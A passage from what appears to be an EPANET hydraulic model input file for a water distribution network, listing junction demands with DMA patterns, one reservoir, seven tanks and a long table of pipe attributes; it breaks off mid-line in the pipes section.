DMA1_pat ; + J94 30.75 .904902 DMA3_pat ; + J95 22.56 .1344856 DMA1_pat ; + J96 30 1.057287 DMA1_pat ; + J97 34.19 .6833945 DMA1_pat ; + J976 6.3 1.600705 DMA1_pat ; + J571 77.11 .1910389 DMA2_pat ; + J572 76.4 1.539075 DMA2_pat ; + J573 81.62 1.033683 DMA2_pat ; + J574 67.36 .5795442 DMA2_pat ; + J575 75.27 .2487428 DMA2_pat ; + J576 80.8 .7999637 DMA2_pat ; + J370 20.46 .365682 DMA1_pat ; + J371 68.81 0 ; + J372 23.2 .2173675 DMA1_pat ; + J373 27.22 4.814306E-02 DMA1_pat ; + J374 13.7 .5756528 DMA1_pat ; + J375 22.72 .9127809 DMA1_pat ; + J376 12.18 1.538258 DMA1_pat ; + J377 13.12 .8970772 DMA1_pat ; + J1219 14.48 .6773689 DMA1_pat ; + J379 10.25 1.412076 DMA1_pat ; + J171 8.81 1.377043 DMA1_pat ; + J172 6.25 1.120713 DMA1_pat ; + J173 13 1.203158 DMA1_pat ; + J174 6.11 1.661286 DMA1_pat ; + J175 6.84 .5663434 DMA1_pat ; + J177 13.14 .8253523 DMA1_pat ; + J179 15.01 .6882797 DMA1_pat ; + J580 113.08 1.158803 DMA2_pat ; + J486 86.11 .2984822 DMA2_pat ; + J487 79 .7048636 DMA2_pat ; + J488 89.16 .9052951 DMA2_pat ; + J489 85.02 1.357773 DMA2_pat ; + J381 36.02 .9015225 DMA4_pat ; + J1223 3.48 .7125556 DMA1_pat ; + J382 70.42 .848447 DMA4_pat ; + J384 42.51 0 ; + J385 76.6 0 ; + J180 8.77 .816384 DMA1_pat ; + J181 10.94 1.134699 DMA1_pat ; + J1024 5.83 1.477667 DMA1_pat ; + J183 13.28 .6175256 DMA1_pat ; + J1025 8.61 .5041625 DMA1_pat ; + J186 9.38 .4881114 DMA1_pat ; + J187 9.81 .2505189 DMA1_pat ; + J188 8.51 .8830353 DMA1_pat ; + J189 7.58 .3721031 DMA1_pat ; + J490 103.84 .9742156 DMA2_pat ; + J491 76.93 .6057645 DMA2_pat ; + J492 94.67 1.459958 DMA2_pat ; + J493 77.62 .7966903 DMA2_pat ; + J494 112.76 .3177222 DMA2_pat ; + J495 91.15 1.140104 DMA2_pat ; + J496 106.34 1.245693 DMA2_pat ; + J497 112.63 1.023225 DMA2_pat ; + J498 90.12 1.303565 DMA2_pat ; + J500 75.52 .2695728 DMA2_pat ; + J499 72.24 1.3463 DMA2_pat ; + J501 80.97 .3376972 DMA2_pat ; + J502 80.99 1.594604 DMA2_pat ; + J503 99.65 .1097517 DMA2_pat ; + J504 66.71 .1025369 DMA2_pat ; + J394 70.53 0 ; + J509 99.94 .6326745 DMA2_pat ; + J399 75 0 ; + J401 70 0 ; + J406 71.74 0 ; + J295 56.42 .2896222 DMA4_pat ; + J407 68 0 ; + J296 30.91 1.191361 DMA4_pat ; + J408 7.93 .8883706 DMA1_pat ; + J297 99.05 .9350156 DMA4_pat ; + J298 77.46 .3612225 DMA4_pat ; + J191 5.76 .7800094 DMA1_pat ; + J303 50.42 1.243924 DMA4_pat ; + J192 12.4 1.253851 DMA1_pat ; + J193 12.99 .6648872 DMA1_pat ; + J305 47.11 1.505165 DMA4_pat ; + J194 13.46 1.243345 DMA1_pat ; + J195 15.39 .1475992 DMA1_pat ; + J196 13.35 1.057619 DMA1_pat ; + J308 33.24 1.18838 DMA1_pat ; + J198 18.54 2.613722E-02 DMA1_pat ; + J200 15.75 .7185739 DMA1_pat ; + J199 16.26 .6699712 DMA1_pat ; + J201 44.86 .4588259 DMA1_pat ; + J202 10.41 1.64229 DMA1_pat ; + J203 11.03 1.337646 DMA1_pat ; + J204 21.51 1.160168 DMA1_pat ; + J205 16.66 .6959986 DMA1_pat ; + J206 14.12 1.224147 DMA1_pat ; + J207 18.86 .4619472 DMA1_pat ; + J208 11.25 .5943106 DMA1_pat ; + J101 28.65 .7224287 DMA1_pat ; + J102 46.96 1.574952 DMA1_pat ; + J109 17.47 .2025833 DMA1_pat ; + J1 16.82 1.076586 DMA1_pat ; + J2 11.97 .5797212 DMA1_pat ; + J3 29.02 .1740539 DMA1_pat ; + J4 20.88 .3090042 DMA1_pat ; + J5 22.75 .1294744 DMA1_pat ; + J6 15.25 .7212659 DMA1_pat ; + J7 24.91 1.598785 DMA1_pat ; + J8 31.17 .9033823 DMA1_pat ; + J9 31.89 .8239611 DMA1_pat ; + J10 14.62 1.621611 DMA1_pat ; + J11 18.43 .3629998 DMA1_pat ; + J12 29.27 .631652 DMA1_pat ; + J13 32.04 .6597406 DMA1_pat ; + J14 37.91 0 ; + J15 102.84 0 ; + J16 88.89 0 ; + J17 82.75 0 ; + J18 84.96 0 ; + J19 90.94 0 ; + J20 80 0 ; + J21 80 0 ; + J22 82.74 0 ; + J23 75.96 0 ; + J25 94.13 .1074853 DMA2_pat ; + J26 76.35 1.260154 DMA2_pat ; + J27 82.08 1.167524 DMA2_pat ; + J28 45 .8284517 DMA2_pat ; + J29 49 .2590595 DMA2_pat ; + J30 72.01 .3728958 DMA2_pat ; + J31 69.78 .5435734 DMA2_pat ; + J32 45 1.307481 DMA2_pat ; + J33 48 8.377139E-02 DMA2_pat ; + J34 50 .86336 DMA2_pat ; + J35 67.78 1.261716 DMA2_pat ; + J36 51.08 1.33445 DMA2_pat ; + J37 66.19 .5420092 DMA2_pat ; + J38 47 1.621215 DMA2_pat ; + J24 34.53 1.340445 DMA1_pat ; + J39 45.88 1.12471 DMA1_pat ; + J40 12.8 1.508549 DMA1_pat ; + J123 38.41 1.459633 DMA3_pat ; + J140 39.94 .694414 DMA3_pat ; + J141 41.45 .2051381 DMA3_pat ; + J157 31.49 1.590263 DMA3_pat ; + J158 25.88 1.328829 DMA3_pat ; + J168 40.21 1.160475 DMA3_pat ; + J170 46.87 .6693408 DMA3_pat ; + J176 50.64 2.716278E-02 DMA3_pat ; + J178 58.87 .2796047 DMA3_pat ; + J184 56.09 .2737236 DMA3_pat ; + J185 43.71 .8495334 DMA3_pat ; + J190 58.49 .6767712 DMA3_pat ; + J197 41.86 .1768897 DMA3_pat ; + J213 52.07 .4602056 DMA3_pat ; + J215 75.76 1.071745 DMA3_pat ; + J216 53.06 1.415167 DMA3_pat ; + J227 52.89 .8299486 DMA3_pat ; + J238 44.16 .3129586 DMA3_pat ; + J239 43.49 1.494361 DMA3_pat ; + J255 35.31 .6213573 DMA3_pat ; + J256 40 0 ; + J258 51.24 1.284721 DMA3_pat ; + J260 32.53 .3633339 DMA3_pat ; + J265 50.87 .7449886 DMA3_pat ; + J266 39.83 .3933797 DMA3_pat ; + J267 22.31 1.463974 DMA4_pat ; + J61 72 1.017388 DMA5_pat ; + J92 72 .6240537 DMA5_pat ; + J268 69.68 .6491698 DMA4_pat ; + J278 104.29 1.434316 DMA2_pat ; + J281 83.72 .9765631 DMA2_pat ; + J283 94.06 1.552599 DMA2_pat ; + J284 77.38 .8619875 DMA2_pat ; + J136 81.8 .5505014 DMA2_pat ; + J137 9.11 1.447423 DMA1_pat ; + J145 47.46 .4317684 DMA3_pat ; + J118 75 .4325689 DMA5_pat ; + J52 54.7 .2978225 DMA4_pat ; + J81 50 .578262 DMA2_pat ; + J88 45 4.176111E-03 DMA2_pat ; + J90 84 1.237237 DMA2_pat ; + J93 65 4.204435 DMA2_pat ; + J147 68 .4643159 DMA2_pat ; + J148 50 1.171617 DMA2_pat ; + J149 40 .6747745 DMA2_pat ; + J150 60 1.352619 DMA2_pat ; + J151 60 1.236301 DMA2_pat ; + J152 32 .7294397 DMA2_pat ; + J153 60 .1299675 DMA2_pat ; + J169 42 .6843861 DMA2_pat ; + J182 40 .5656253 DMA2_pat ; + J222 32 1.184257 DMA2_pat ; + J224 37 .5204803 DMA2_pat ; + J230 30 1.331289 DMA4_pat ; + J235 53 .2529269 DMA4_pat ; + J240 87 .9883186 DMA2_pat ; + J269 56 0 ; + J273 56 0 ; + J274 56 0 ; + J276 56 0 ; + J280 56 0 ; + J285 56 0 ; + J287 40 0 ; + J288 40 0 ; + J289 40 0 ; + J290 40 0 ; + J291 65 0 ; + J292 40 0 ; + J299 40 0 ; + J300 40 0 ; + J301 44 0 ; + J302 44 0 ; + J304 44 0 ; + J306 44 0 ; + J307 44 0 ; + J309 44 0 ; + J317 44 0 ; + J323 44 0 ; + +[RESERVOIRS] +;ID Head Pattern + R1 59 ; + +[TANKS] +;ID Elevation InitLevel MinLevel MaxLevel Diameter MinVol VolCurve + T1 71.5 3 0 6.5 31.3 0 ; + T2 65 .5 0 5.9 20.78 0 ; + T3 112.9 3 0 6.75 13.73 0 ; + T4 132.5 2.5 0 4.7 11.64 0 ; + T5 105.8 1.0 0 4.5 11.89 0 ; + T6 101.5 5.2 0 5.5 8.33 0 ; + T7 102 2.5 0 5 7.14 0 ; + +[PIPES] +;ID Node1 Node2 Length Diameter Roughness MinorLoss Status + P1 J175 J174 52.9 203 72.4549266 0 Open ; + P10 J335 J336 79.23 76 108.0095074 0 Open ; + P100 J159 J160 107.88 406 76.51422883 0 Open ; + P1000 J341 J204 109.27 203 76.94614787 0 Open ; + P101 J166 J162 243.37 254 84.20845169 0 Open ; + P1016 J22 J233 164.77 305 85.23817366 0 Open ; + P102 J109 J408 1280.3 508 92.94722922 0 Open ; + P1022 J281 J283 200.76 102 99.58078005 0 Open ; + P1023 J278 J283 136.34 102 95.68850653 0 Open ; + P1024 J580 J278 375.62 102 89.62069894 0 Open ; + P1025 J575 J132 39.18 76 97.77659267 0 Open ; + P1026 J132 J493 45.61 76 88.45039526 0 Open ; + P1027 J486 J488 82.32 51 92.0106009 0 Open ; + P1028 J489 J486 9.57 51 86.99339612 0 Open ; + P1029 J489 J492 122.62 76 91.33959845 0 Open ; + P103 J2 J1219 35.98 254 79.37099717 0 Open ; + P1030 J493 J489 95.25 76 104.6083303 0 Open ; + P1031 J494 J490 188.28 152 84.37414232 0 Open ; + P1032 J490 J492 143.29 152 98.43095137 0 Open ; + P1033 J492 J131 128.79 152 84.68939593 0 Open ; + P1034 J254 J253 52.87 203 97.41854735 0 Open ; + P1035 J253 J128 122.47 152 97.7581413 0 Open ; + P1036 J131 J128 83.33 203 74.29791874 0 Open ; + P1039 J573 J128 121.38 203 92.14229573 0 Open ; + P104 J166 J167 33.11 203 99.88658284 0 Open ; + P1040 J136 J573 29.45 152 94.68876721 0 Open ; + P1041 J136 J129 307.54 102 112.5081558 0 Open ; + P1042 J89 J573 84.54 152 76.15024112 0 Open ; + P1044 T5 J64 65.8 203 100.2182444 0 Open ; + P1045 J64 J53 68.63 203 118.82139 0 Open ; + P106 J102 J101 270.38 102 63.55113264 0 Open ; + P107 J171 J172 357 203 80.50983232 0 Open ; + P108 J101 J109 183.53 203 78.72048108 0 Open ; + P109 J175 J172 218.52 203 76.89340854 0 Open ; + P11 J318 J235 83.45 101.6 96.83442437 0 Open ; + P110 J179 J177 425.83 508 98.99414116 0 Open ; + P111 J976 J143 126.36 152 72.41174834 0 Open ; + P112 J142 J976 646.98 305 68.60087459 0 Open ; + P113 J137 J181 310.73 152 85.35380111 0 Open ; + P115 J408 J435 99.88 102 91.23151293 0 Open ; + P116 J186 J187 204.54 152 93.47394033 0 Open ; + P117 J435 J431 104 102 67.96195457 0 Open ; + P118 J431 J432 115.91 102 84.66525677 0 Open ; + P119 J188 J189 64.88 305 78.1411898 0 Open ; + P12 J208 J337 85.24 406 89.66261184 0 Open ; + P120 J432 J1160 91.4 102 88.38904641 0 Open ; + P121 J192 J193 42.23 152 100.3675691 0 Open ; + P122 J173 J194 45.06 305 78.97804998 0 Open ; + P123 J1160 J3 51.21 152 61.06139089 0 Open ; + P124 J376 J225 99.09 102 78.83034804 0 Open ; + P125 J163 J196 193.35 508 84.73893721 0 Open ; + P126 J225 J316 109.6 76 89.73794074 0 Open ; + P127 J316 J40 87.22 102 73.67740117 0 Open ; + P128 J40 J374 165.63 102 90.94829628 0 Open ; + P129 J374 J377 79.59 102 78.06619059 0 Open ; + P13 J337 J24 62.56 406 83.04378688 0 Open ; + P130 J376 J226 56.79 76 70.70724159 0 Open ; + P131 J206 J207 86.5 76 74.72670795 0 Open ; + P132 J226 J379 67.35 76 88.54168235 0 Open ; + P134 J4 J5 68.79 76 78.56802703 0 Open ; + P136 J5 J431 241.77 102 75.73324573 0 Open ; + P138 J203 J217 19.28 254 72.48528099 0 Open ; + P139 J208 J211 73.66 406 68.718495 0 Open ; + P14 J24 J39 151.39 406 72.00911504 0 Open ; + P140 J219 J220 222.3 102 107.8347395 0 Open ; + P141 J221 J51 169.94 102 103.7880571 0 Open ; + P142 J37 J93 16.61 152.4 85.39068455 0 Open ; + P144 J382 T6 130.79 76 99.91906661 0 Open ; + P147 J232 J231 60.08 203 92.837036 0 Open ; + P148 J233 J234 561.69 305 96.43940809 0 Open ; + P15 J39 T1 395.29 406 90.48302153 0 Open ; + P150 J82 J50 93.19 152 103.1527295 0 Open ; + P154 J245 J66 170.64 152 108.8315571 0 Open ; + P155 J60 J219 59.38 101.6 105.7092049 0 Open ; + P156 J242 J243 80.34 102 110.8685183 0 Open ; + P157 J244 J245 232.93 102 102.9010036 0 Open ; + P158 J236 J246 69.88 76 105.0723995 0 Open ; + P159 J204 J336 118.78 203 80.14718268 0 Open ; + P16 J1208 J353 252.34 102 97.24831268 0 Open ; + P160 J248 J246 68.68 76 104.6278726 0 Open ; + P161 J361 J355 40.31 76 90.01325959 0 Open ; + P162 J249 J85 190.67 152 98.76064267 0 Open ; + P163 J251 J90 67.74 203 94.23019998 0 Open ; + P165 J135 J234 143.81 305 92.93426098 0 Open ; + P166 J352 J382 235 101.6 93.60266001 0 Open ; + P17 J408 J1025 32.42 508 77.28134214 0 Open ; + P174 J6 J7 278.59 102 89.32071004 0 Open ; + P177 J305 J303 56.8 102 100.6056442 0 Open ; + P18 J1025 J411 283.3 508 100.3 0 Open ; + P184 J1208 J352 59.38 101.6 95.91470923 0 Open ; + P19 J411 J1056 750.87 508 97.7 0 Open ; + P195 J7 J4 144.33 76 80.6314204 0 Open ; + P2 J175 J181 295.25 203 62.04782884 0 Open ; + P20 J1056 J214 579.67 508 89.67250259 0 Open ; + P201 J7 J8 102.19 76 96.62781785 0 Open ; + P21 J214 J212 176.48 406 86.69368007 0 Open ; + P211 J295 J296 202.33 76 84.05170372 0 Open ; + P215 J419 T2 140.76 254 81.42351414 0 Open ; + P218 J310 J311 54.55 102 81.77139586 0 Open ; + P219 J312 J313 67.98 102 86.8360308 0 Open ; + P22 J159 J192 567.3 406 81.11362312 0 Open ; + P220 J314 J315 68.33 76 93.73758011 0 Open ; + P223 J318 J319 108.98 203 93.21702289 0 Open ; + P225 J321 J322 120.77 102 92.68551418 0 Open ; + P228 J327 J328 42.72 76 99.28890046 0 Open ; + P23 J192 J196 316.91 508 77.16263034 0 Open ; + P230 J330 J327 114.61 76 77.39533937 0 Open ; + P231 J331 J330 12.21 76 98.41544449 0 Open ; + P233 J333 J334 58.66 76 97.29593266 0 Open ; + P234 J335 J333 41.63 76 87.20981831 0 Open ; + P235 J336 J337 92.74 76 84.32189979 0 Open ; + P237 J415 J441 12.01 305 5.0585 0 Open ; + P238 J441 J416 12.59 304.8 104.739957 0 Open ; + P24 J177 J194 71.05 508 88.62083113 0 Open ; + P241 J344 J345 49.46 102 114.8367119 0 Open ; + P242 J36 J29 25.06 152.4 99.0149834 0 Open ; + P243 J36 J88 57.08 203.2 82.79621449 0 Open ; + P245 J87 J84 18.65 152.4 120.3989086 0 Open ; + P246 J249 J250 56.94 152.4 121.5967586 0 Open ; + P248 J250 J245 6.96 152.4 110.0672989 0 Open ; + P249 J359 J360 28.43 51 85.38083927 0 Open ; + P25 J196 J194 4.3 508 74.37733692 0 Open ; + P251 J329 J362 11.49 152 103.73326 0 Open ; + P252 J363 J364 135.44 305 82.30042619 0 Open ; + P255 J369 J370 76.14 51 71.46719262 0 Open ; + P256 J371 J364 55.17 305 94.85911557 0 Open ; + P258 J372 J373 79.53 102 75.51228399 0 Open ; + P259 J374 J375 136.09 102 83.09359309 0 Open ; + P26 J163 J1 22.94 508 88.00750201 0 Open ; + P264 J242 J241 11.73 101.6 112.505063 0 Open ; + P266 J250 J242 55.29 101.6 107.0557801 0 Open ; + P267 J572 J147 344.62 152.4 95.59127017 0 Open ; + P268 J130 J149 146.46 152.4 86.83782705 0 Open ; + P27 J1 J161 163.63 254 69.10553047 0 Open ; + P270 J149 J150 88.36 101.6 92.76968792 0 Open ; + P272 J8 J9 143.88 102 73.95290985 0 Open ; + P275 J149 J148 172.96 152.4 98.1648787 0 Open ; + P28 J1 J164 117.42 152 88.26665116 0 Open ; + P280 J407 J401 333.4 203 88.34304078 0 Open ; + P282 J436 J10 131.93 102 86.72041921 0 Open ; + P284 J574 J151 198.97 76.2 89.12500159 0 Open ; + P285 J151 J153 130.71 76.2 90.18255066 0 Open ; + P286 J169 J182 155.58 101.6 90.00536972 0 Open ; + P287 J419 J420 45.12 254 78.34930836 0 Open ; + P288 J169 J222 226.74 76.2 85.05269358 0 Open ; + P29 J1 J165 20.51 152 89.48380518 0 Open ; + P290 J222 J224 46.28 76.2 89.4448254 0 Open ; + P291 J425 J426 132.94 305 107.0799731 0 Open ; + P292 J416 J427 13.54 305 97.26629793 0 Open ; + P293 J427 J425 125.2 305 92.15913275 0 Open ; + P294 J428 J429 101.2 102 79.96510184 0 Open ; + P295 J10 J435 133.23 76 72.40920176 0 Open ; + P296 J432 J433 231.87 76 82.95723709 0 Open ; + P297 J411 J438 42.53 406 73 0 Open ; + P298 J438 J434 40.11 305 84.55106971 0 Open ; + P299 J436 J429 61.51 102 87.70989261 0 Open ; + P3 J181 J173 136.52 300 73.64913862 0 Open ; + P30 J161 J166 40.89 254 86.70955075 0 Open ; + P301 J434 J11 45.31 305 85.18923941 0 Open ; + P302 J11 J433 178.28 305 80.34022293 0 Open ; + P303 J428 J439 131.94 76 88.33454494 0 Open ; + P304 J222 J152 268.74 101.6 89.39267725 0 Open ; + P305 J407 J441 43.41 203 90.79931312 0 Open ; + P307 J433 J12 47.3 305 60.51223799 0 Open ; + P308 J426 J363 334.57 305 88.07717274 0 Open ; + P309 J235 J230 128.8 101.6 94.95597676 0 Open ; + P31 J171 J186 144.67 152 108.7731191 0 Open ; + P310 J269 J156 9 610 87.26802597 0 Open ; + P316 R1 J280 11.62 610 70.45194642 0 Open ; + P319 J274 J269 10.54 610 76.59274096 0 Open ; + P32 J186 J2 84.44 152 103.5584403 0 Open ; + P320 J273 J269 11.47 610 76.51881041 0 Open ; + P322 J280 J285 11.5 610 89.43312359 0 Open ; + P323 J280 J276 11.47 610 84.68719833 0 Open ; + P329 J503 J501 134.52 152 100.1835818 0 Open ; + P33 J1219 J179 22.81 254 73.03598003 0 Open ; + P330 J501 J499 66.79 76 96.42287802 0 Open ; + P331 J486 J487 93.46 51 93.19325097 0 Open ; + P336 J495 J496 182.99 152 92.1736733 0 Open ; + P337 J497 J494 20.49 305 5.6181 0 Open ; + P338 J499 J500 74.38 76 100.3553057 0 Open ; + P339 J501 J502 307.49 102 88.65301931 0 Open ; + P34 J179 J110 98 508 78.50596539 0 Open ; + P340 J494 J496 96.21 305 101.082424 0 Open ; + P341 J496 J498 189.74 305 94.6355163 0 Open ; + P343 J495 J576 111.65 152 100.2909021 0 Open ; + P344 J576 J571 45.26 152 85.90916474 0 Open ; + P346 J499 J504 54.91 51 93.91341161 0 Open ; + P347 J509 T4 385.56 305 96.23520379 0 Open ; + P348 J503 J509 42.47 305 88.72950781 0 Open ; + P349 J503 J511 39.12 305 97.01243523 0 Open ; + P35 J50 J51 64.56 152 84.3826461 0 Open ; + P350 J509 J240 400.16 203 99.85976755 0 Open ; + P37 J348 J52 180.61 203 97.80387751 0 Open ; + P372 J219 J86 6.42 101.6 113.1146519 0 Open ; + P374 J287 J288 15.83 254 91.91560418 0 Open ; + P375 J288 J300 7.79 254 75.48935679 0 Open ; + P376 J300 J299 6.64 254 102.6856466 0 Open ; + P378 J292 J256 6.47 254 112.4496521 0 Open ; + P379 J287 J289 6.43 254 101.7753453 0 Open ; + P38 J55 J56 169.49 76 106.4650405 0 Open ; + P380 J289 J290 4.79 254 87.81324875 0 Open ; + P381 J291 J415 5.53 304.8 119.20713 0 Open ; + P383 J571 J491 19.56 152 80.14926659 0 Open ; + P384 J491 J575 26.14 76 101.9126563 0 Open ; + P385 J498 J134 106.53 305 76.02373041 0 Open ; + P386 J134 J576 8.12 152 79.90108822 0 Open ; + P39 J490 J488 190.12 102 95.4375542 0 Open ; + P397 J332 J301 13.16 203.2 87.42718755 0 Open ; + P398 J301 J302 6.75 203.2 91.05042408 0 Open ; + P399 J302 J307 9.71 203.2 81.41362338 0 Open ; + P40 J59 J60 143.64 102 107.9143544 0 Open ; + P402 J307 J309 6.12 203.2 89.1549467 0 Open ; + P403 J304 J306 6.86 152.4 111.4725023 0 Open ; + P409 J306 J87 26.38 152.4 89.89786692 0 Open ; + P410 J323 J317 7.7 203.2 85.6676939 0 Open ; + P42 J54 J73 32.93 152 114.9190666 0 Open ; + P424 J317 J384 27.8 203.2 124.9856956 0 Open ; + P43 J64 J65 36.18 203 88.53730832 0 Open ; + P44 J66 J67 247.65 152 115.1681772 0 Open ; + P443 J13 J12 67.31 305 85.57602477 0 Open ; + P445 J417 J421 7.8 254 86.21060196 0 Open ; + P446 J418 J421 31.15 254 102.1976464 0 CV ; + P450 J418 J422 19.47 254 96.96505055 0 Open ; + P46 J69 J70 70.86 102 112.662633 0 Open ; + P465 J421 J14 18.2 254 86.56539928 0 Open ; + P467 J422 J420 15.17 254 96.15411097 0 Open ; + P468 J420 J287 31.29 254 105.2733756 0 Open ; + P48 J73 J71 28.98 152 113.5196498 0 Open ; + P482 J9 J3 321.89 152 78.90389206 0 Open ; + P484 J438 J13 336.57 203 79.98 0 Open ; + P49 J72 J74 134.92 152 121.7050339 0 Open ; + P492 J86 J243 157.32 101.6 114.1136636 0 Open ; + P5 J1223 J218 588.97 406 83.56188054 0 Open ; + P500 J90 J252 24.23 203 112.6227522 0 Open ; + P501 J571 J572 11.32 152.4 111.4535058 0 Open ; + P502 J89 J574 9.19 76.2 99.5945589 0 Open ; + P51 J68 J77 57.47 102 92.23786036 0 Open ; + P510 J16 J15 193.37 102 104.9547114 0 Open ; + P52 J78 J51 83.26 102 89.65416834 0 Open ; + P524 J511 J580 170.54 305 96.22781415 0 Open ; + P527 J580 J497 149.04 305 73.12421582 0 Open ; + P529 J278 J281 212.31 102 103.917751 0 Open ; + P53 J384 J1208 10.32 203 87.56071617 0 Open ; + P54 J488 J491 111.67 51 92.39787511 0 Open ; + P55 J82 J83 99.86 76 87.65298441 0 Open ; + P57 J84 J85 288.77 152 99.59669568 0 Open ; + P58 J86 J84 503.91 102 100.8491608 0 Open ; + P596 J56 J58 76.39 76 112.8056283 0 Open ; + P597 J281 J284 79.68 102 101.1211685 0 Open ; + P6 J180 J171 199.39 152 94.64505119 0 Open ; + P609 J57 J56 86.07 76 111.6336079 0 Open ; + P610 J15 J17 206.58 76 95.7997832 0 Open ; + P63 J96 J95 165.95 254 88.72727612 0 Open ; + P633 J54 J67 173.88 152 119.1332558 0 Open ; + P64 J96 J97 126.63 203 80.24772732 0 Open ; + P65 J353 J351 164.93 102 101.9472625 0 Open ; + P67 J97 J102 330.24 203 74.11384494 0 Open ; + P670 J17 J18 54.41 152 98.70407263 0 Open ; + P671 J18 J16 62.97 152 94.83787887 0 Open ; + P68 J195 J188 302.74 305 83.22085413 0 Open ; + P69 J1223 J40 103.63 152 72.35176717 0 Open ; + P697 J16 J19 88.89 102 97.76254098 0 Open ; + P7 J218 J211 60.22 508 78.45371492 0 Open ; + P70 J40 J375 88.36 152 72.84389475 0 Open ; + P71 J188 J191 419.4 254 84.7287395 0 Open ; + P72 J95 J110 247.46 305 85.0356826 0 Open ; + P724 J78 J268 92.72 152 96.70704964 0 Open ; + P725 J78 J295 117.32 152 105.2924295 0 Open ; + P752 J297 T7 70.36 152 106.1657491 0 Open ; + P753 J297 J221 71.91 152 89.52407649 0 Open ; + P754 J19 J15 92.49 51 84.82770733 0 Open ; + P755 J140 J141 47.12 305 114.1298526 0 Open ; + P756 J123 J141 41.66 305 107.9166509 0 Open ; + P757 J1024 J142 568.43 305 99.83133104 0 Open ; + P758 J1025 J1024 102.21 305 93.35734311 0 Open ; + P759 J221 J298 97.19 152 104.4350261 0 Open ; + P760 J298 J312 88.54 152 101.8544486 0 Open ; + P761 J312 J83 171.27 152 96.99210802 0 Open ; + P763 J141 J157 387.59 305 112.2055437 0 Open ; + P766 J318 J303 37.85 152 95.03726284 0 Open ; + P767 J157 J94 227.5 305 109.3148967 0 Open ; + P768 J157 J158 217.03 254 116.5115918 0 Open ; + P769 J94 J168 154.26 305 110.6185664 0 Open ; + P771 J168 J170 69.36 203 99.63218871 0 Open ; + P772 J168 J176 215.02 305 85.80309439 0 Open ; + P775 J176 J178 129.42 203 108.382028 0 Open ; + P776 J178 J184 421.07 102 114.3497002 0 Open ; + P777 J176 J185 402.31 305 111.7656211 0 Open ; + P779 J185 J190 524.49 203 87.90984792 0 Open ; + P780 J18 J406 153.56 203 104.9547114 0 Open ; + P781 J83 J318 130.18 152 90.91406861 0 Open ; + P783 J190 J197 674.96 203 115.0802063 0 Open ; + P784 J213 J190 88.96 102 98.4320195 0 Open ; + P785 J190 J215 184.71 102 89.6475285 0 Open ; + P786 J197 J216 166.27 203 110.0001555 0 Open ; + P787 J216 T3 127.08 102 130.1224074 0 Open ; + P788 J216 J227 107.85 152 113.9140977 0 Open ; + P789 J1056 J366 285.95 203 74.96865627 0 Open ; + P791 J227 J238 82.5 152 115.9461135 0 Open ; + P794 J238 J239 39.04 203 123.9466201 0 Open ; + P795 J239 J255 129.41 203 97.7802756 0 Open ; + P796 J256 J238 22.42 203 89.87622094 0 Open ; + P797 J227 J258 21.64 102 117.0541964 0 Open ; + P798 J255 J260 684.07 203 116.0879492 0 Open ; + P8 J218 J212 11.35 406 76.077444 0 Open ; + P800 J344 J1170 15.93 203 109.6676101 0 Open ; + P801 J1170 J347 9.47 203 104.4688588 0 Open ; + P804 J1169 J265 68.27 102 103.0053454 0 Open ; + P805 J265 J266 96.57 152 114.5601573 0 Open ; + P806 J266 J260 32.51 152 103.8989922 0 Open ; + P807 J260 J350 162.82 203 100.1492592 0 Open ; + P808 J83 J311 253.47 203 92.06420424 0 Open ; + P809 J321 J324 17.35 102 109.3502993 0 Open ; + P810 J406 J394 64.3 203 88.93896444 0 Open ; + P811 J320 J321 50.17 102 89.56723202 0 Open ; + P813 J328 J320 30.85 152 76.0415565 0 Open ; + P815 J329 J328 50.52 102 84.34217359 0 Open ; + P817 J1158 J1153 253.3 203 72.65810772 0 Open ; + P819 J1153 J1157 8.02 203 105.0732947 0 Open ; + P821 J354 J267 64.78 102 83.94520189 0 Open ; + P822 J267 J353 11.71 102 99.59355845 0 Open ; + P823 J236 J237 18.84 76 113.3617729 0 Open ; + P826 J237 J244 335.29 76 99.14858764 0 Open ; + P827 J244 J247 119.07 76 103.740183 0 Open ; + P83 J155 J160 15.14 610 75.66382855 0 Open ; + P830 J247 J248 89.3 76 99.04404122 0 Open ; + P831 J248 J249 62.2 76 86.2917659 0 Open ; + P84 J183 J187 148.63 203 97.41353032 0 Open ; + P840 J311 J320 235.28 203 97.77044222 0 Open ; + P841 J297 J331 347.83 76 93.67657919 0 Open ; + P842 J62 J55 64.41 52 95.52120444 0 Open ; + P844 J59 J62 12.49 102 113.808278 0 Open ; + P846 J58 J118 94.84 203 103.9804942 0 Open ; + P847 J55 J118 68.63 152 91.07111508 0 Open ; + P85 J132 J133 36.6 76 69.9267053 0 Open ; + P850 J59 J57 241.13 101.6 112.5310973 0 Open ; + P851 J62 J57 228.78 76 121.9332034 0 Open ; + P852 J58 J67 40.39 203 105.3809228 0 Open ; + P853 J67 J53 295.68 203 118.6474037 0 Open ; + P855 J92 J76 37.88 102 114.8547426 0 Open ; + P858 J92 J68 195.38 102 113.4099875 0 Open ; + P859 J71 J77 90.81 152 95.28589543 0 Open ; + P86 J134 J135 161 305 110.5 0 Open ; + P861 J77 J72 110.79 152 87.94104359 0 Open ; + P866 J68 J61 17.37 102 92.17383193 0 Open ; + P87 J187 J137 80.03 203 76.39854111 0 Open ; + P871 J61 J69 48.15 102 91.80712367 0 Open ; + P880 J1160 J1161 112.84 76 86.03497853 0 Open ; + P889 J1169 J1170 15.72 203 88.74112608 0 Open ; + P89 J375 J372 104.3 152 78.43046596 0 Open ; + P892 J414 J13 30.39 254 69.84847395 0 Open ; + P9 J212 J217 49.95 254 66.74918886 0 Open ; + P90 J372 J376 98.94 102 62.31894921 0 Open ; + P91 J143 J144 572.34 102 94.33889253 0 Open ; + P914 J399 J20 38.61 203 91.1800276 0 Open ; + P915 J1208 J362 10.58 152 72.77251422 0 Open ; + P92 J137 J180 63.12 203 83.1066216 0 Open ; + P924 J195 J1219 82.38 254 74.45899818 0 Open ; + P927 J210 J1223 348.88 406 84.53153832 0 Open ; + P929 J401 J399 83.31 203 90.08263129 0 Open ; + P930 J399 J21 78.95 203 88.2 0 Open ; + P931 J20 J406 248.4 203 87.08307229 0 Open ; + P932 J17 J399 381.56 203 84.96153948 0 Open ; + P933 J371 J23 130.54 305 87.94687626 0 Open ; + P934 J23 J385 18.46 254 102.9935452 0 Open ; + P935 J385 J22 152.13 305 100.0547405 0 Open ; + P937 J385 J251 198.09 254 74.27786438 0 Open ; + P938 J251 J257 168.95 254 74.4754521 0 Open ; + P939 J26 J25 248.76 152 95.78927854 0 Open ; + P94 J123 J145 51.35 305 139.0834768 0 Open ; + P940 J25 J27 187.99 152 99.28214747 0 Open ; + P941 J27 